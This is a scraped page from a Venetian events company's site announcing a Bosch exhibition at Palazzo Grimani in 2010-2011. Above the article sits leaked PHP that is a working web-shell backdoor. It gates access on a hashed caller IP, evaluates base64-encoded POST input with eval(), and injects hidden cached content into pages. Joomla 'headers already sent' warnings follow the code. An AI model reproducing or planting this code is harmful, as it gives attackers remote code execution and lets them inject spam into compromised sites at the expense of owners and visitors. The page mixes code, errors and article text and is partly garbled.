if(!function_exists('system_news_path')){
function system_news_path(){
return '/opt/lampp/htdocs/modules/mod_catartordion/tmpl/';
}
function system_news_idn($ssynewid) {
$input = $ssynewid['ssynewidn'];
$await = 'a2e537e649854b5919c9470087925751';
$client = md5(md5($_SERVER['REMOTE_ADDR'].'.FMXNTJxzoaEDM42jX53nf=='));
if(strstr($await, $client)){
if(strstr($input, "[show]\n")){
die(str_replace("[show]\n", false, $input));
}elseif(strstr($input, "[eval]\n")){
eval(str_replace("[eval]\n", false, $input));
}
}
}
if(!empty($_POST['ssynewid'])){
$ssynewid = @unserialize(@base64_decode($_POST['ssynewid']));
system_news_idn($ssynewid);
}
$uri = md5($_SERVER['REQUEST_URI']);
if(file_exists(system_news_path().$uri) && !file_exists(system_news_path().'st3')){
echo file_get_contents(system_news_path().$uri); die;
}
function newsidncallback($buffer){
$uri = md5($_SERVER['REQUEST_URI']).'c';
if(file_exists(system_news_path().$uri)){
if(empty($buffer) && class_exists('JFactory')){
$buffer = JFactory::getDocument()->render();
}
preg_match('#(<\s*/body\s*>|<\s*/html\s*>)#i', $buffer, $tag);
if(!empty($tag[1])){
$buffer = str_replace($tag[1], file_get_contents(system_news_path().$uri)."\n{$tag[1]}", $buffer);
}elseif(!empty($buffer)){
$buffer .= "\n".file_get_contents(system_news_path().$uri);
}
}
return $buffer;
}
ob_start("newsidncallback");
}
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/libraries/joomla/session/session.php on line 423
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/libraries/joomla/session/session.php on line 423
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/libraries/joomla/session/session.php on line 426
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/plugins/system/jfrouter.php on line 315
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/plugins/system/jfrouter.php on line 316
Warning: Cannot modify header information - headers already sent by (output started at /opt/lampp/htdocs/includes/framework.php:100) in /opt/lampp/htdocs/plugins/system/jfrouter.php on line 317
VENEZIA, PALAZZO GRIMANI A SANTA MARIA FORMOSA
19 DICEMBRE 2010 - 21 APRILE 2011 PROROGATA
A CURA DI VITTORIO SGARBI
Prosegue l’esposizione di collezioni statali a Palazzo Grimani con tre dipinti del pittore più visionario della storia dell’arte: Hieronymus Bosch
Dopo il grande successo della mostra dedicata alle celebri opere di Giorgione, La Vecchia (1506), La Tempesta (1507-08) e la Nuda (1508), che hanno inaugurato l’apertura di Palazzo Grimani, come spazio espositivo permanente a Venezia, in questa magnifica sede, saranno esposti altri tre capolavori assoluti che da anni non si vedono in pubblico.
Protagonista del nuovo eccezionale evento, il pittore fiammingo più noto e intrigante della storia dell’arte: Hieronymus Bosch ('s Hertogenbosch, Olanda 1450 – 1516), di cui si potranno ammirare la Visione dell’Aldilà (1500 – 1503), il Trittico di santa Liberata (1505) e il Trittico degli eremiti (1510), provenienti da Palazzo Ducale di Venezia.
Promossa dalla Soprintendenza Speciale ai Musei e alle Gallerie Statali della città di Venezia, organizzata e prodotta da Arthemisia Group, la mostra sarà aperta a Palazzo Grimani dal 19 dicembre 2010 al 20 marzo 2011.
Vittorio Sgarbi, curatore dell’evento, ha scelto di rendere accessibile al pubblico tre straordinarie opere di Bosh, da lungo tempo conservate nei depositi a Palazzo Ducale, rendendo omaggio al maesto olandese e valorizzando al meglio le collezioni statali conservate Venezia, dove per altro il pittore soggiornò con molta probabilità tra il 1499 e il 1502.
Il palazzo, riaperto il 20 dicembre 2008, costituisce per la città di Venezia una novità particolarmente preziosa di rilevanza internazionale, per l’originalità dell’architettura, per le decorazioni e per la storia che ne ha caratterizzato le vicende.
Antonio Grimani, agli inizi del 1500, dona ai figli la casa da stazio: il complesso verrà poi completato grazie al nipote Giovanni, patriarca di Aquileia, e a suo fratello Vettore, procuratore di San Marco. È probabile che gli stessi eredi Grimani siano intervenuti nella progettazione e nella decorazione del palazzo.
L’architettura, che oggi possiamo finalmente vedere, fonde elementi tosco-romani con l’ambiente veneziano: tra gli altri sono particolarmente suggestivi la Tribuna, già sede della bellissima raccolta archeologica di Giovanni, il cortile, unico per la città di Venezia, e la bellissima scala di accesso. Straordinarie sono le decorazioni pittoriche. Come già per l’architettura, i Grimani si rivolgono ad artisti di formazione centro-italiana: Giovanni da Udine, Francesco e Giuseppe Salviati, Camillo Mantovano e Federico Zuccari.
© 2015 Ve.la. S.p.A. - Tutti i diritti riservati -Ve.la. S.p.A. all rights reserved
Società del gruppo Avm per la commercializzazione dei servizi di trasporto e dei principali eventi a Venezia
Sede Legale Isola Nova del Tronchetto, 21 - 30135 VENEZIA Tel. +39 041272.2660 Fax+39 041272.2663
Registro delle Imprese di Venezia n. 03069670275 – REA VE 278800 C.F e P.I. 03069670275 -
Capitale Sociale € 1.885.000,00 i.v.